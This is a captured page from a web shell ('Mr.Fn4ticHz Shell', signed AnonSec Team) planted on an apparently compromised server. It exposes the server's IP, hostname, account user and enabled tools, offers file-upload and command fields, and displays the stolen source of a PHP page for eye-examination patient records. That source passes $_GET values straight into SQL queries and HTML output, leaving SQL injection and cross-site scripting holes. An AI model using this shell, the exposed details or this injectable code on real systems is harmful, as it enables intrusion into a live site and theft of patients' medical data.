Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.128.204.5
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/show_oneexamnation.php
     <?php
     session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');

    include("../dbconnection.php");
		$sql2 ="SELECT * FROM save_activity WHERE srno='$_GET[srno]'";
		$qsql2 = mysqli_query($con,$sql2);
		if($re1 = mysqli_fetch_array($qsql2))
		{
		    
		   	include 'dashboarddocument.php';
}
?>
	  

  <?php

include 'fileheader.php';
?>



<h3 align='center'>Eye Examination</h3>
<?php
include("dbconnection.php");
	$sqlpatient = "SELECT * FROM save_activity WHERE  prescriptionid='$_GET[prescriptionid]' AND discription='Examination <br> Eye Examination'";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	if($rsp = mysqli_fetch_array($qsqlpatient))
	{
	    if($rsp[discription]== 'Examination <br> Eye Examination'){
	        echo"<h4>Doc.no : $rsp[srno]</h4>";

} else{
    echo "";
}
       
	}
$occui=$con->query("SELECT * FROM occutracker WHERE occuid='".$_GET['occuid']."'");
$rowOccui=$occui->fetch_assoc();
?>  
<h4>Examination Id: <b><?php echo $_GET['occuid'] ?> / <?php echo $rowOccui['occu'] ?></b></h4>




                   <table id="example2" class="table table-bordered table-hover">
                  <thead>
         
						<tr>
						    <th>Examination</th>
							<th>Right Eye</th>
							<th>Left Eye</th>
						</tr>
				
      
                  </thead>
<?php
$sql12 ="SELECT * FROM onexamnation WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND Examination!='Aided / Present Glass' OR patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND Examination!='Un-Aided' AND occuid='$_GET[occuid]'";
$qsql12 = mysqli_query($con,$sql12);
while($rs12 = mysqli_fetch_array($qsql12))
{
    
    if($rs12[Examination]!=='Aided / Present Glass')
{
       if($rs12[Examination]!=='Un-Aided')
{

 echo " <tbody>
            <tr>     <td>&nbsp;$rs12[Examination]</td>
                     <td>&nbsp;$rs12[Result]</td>
               		<td>&nbsp; $rs12[left_result]</td>
          </tr>                   
          
          ";
}
}
}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
    


<?php
  	$sql ="SELECT * FROM visual WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND occuid='$_GET[occuid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
	    $sql1 ="SELECT * FROM site_users WHERE userno='$rs[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rs1 = mysqli_fetch_array($qsql1))
		{
		    
		 echo"<h5><b> Created & Updated </b><h5>
		 <table id='example2' class='table table-bordered table-hover'>
		 <tr><td width=50%><b>By :</b>$rs1[name] </b><td width='50%'><b>At :</b> $rs[created_at] </tr>";   
		    
		}
		}
		?>
		</table>

Anon7 - 2022
AnonSec Team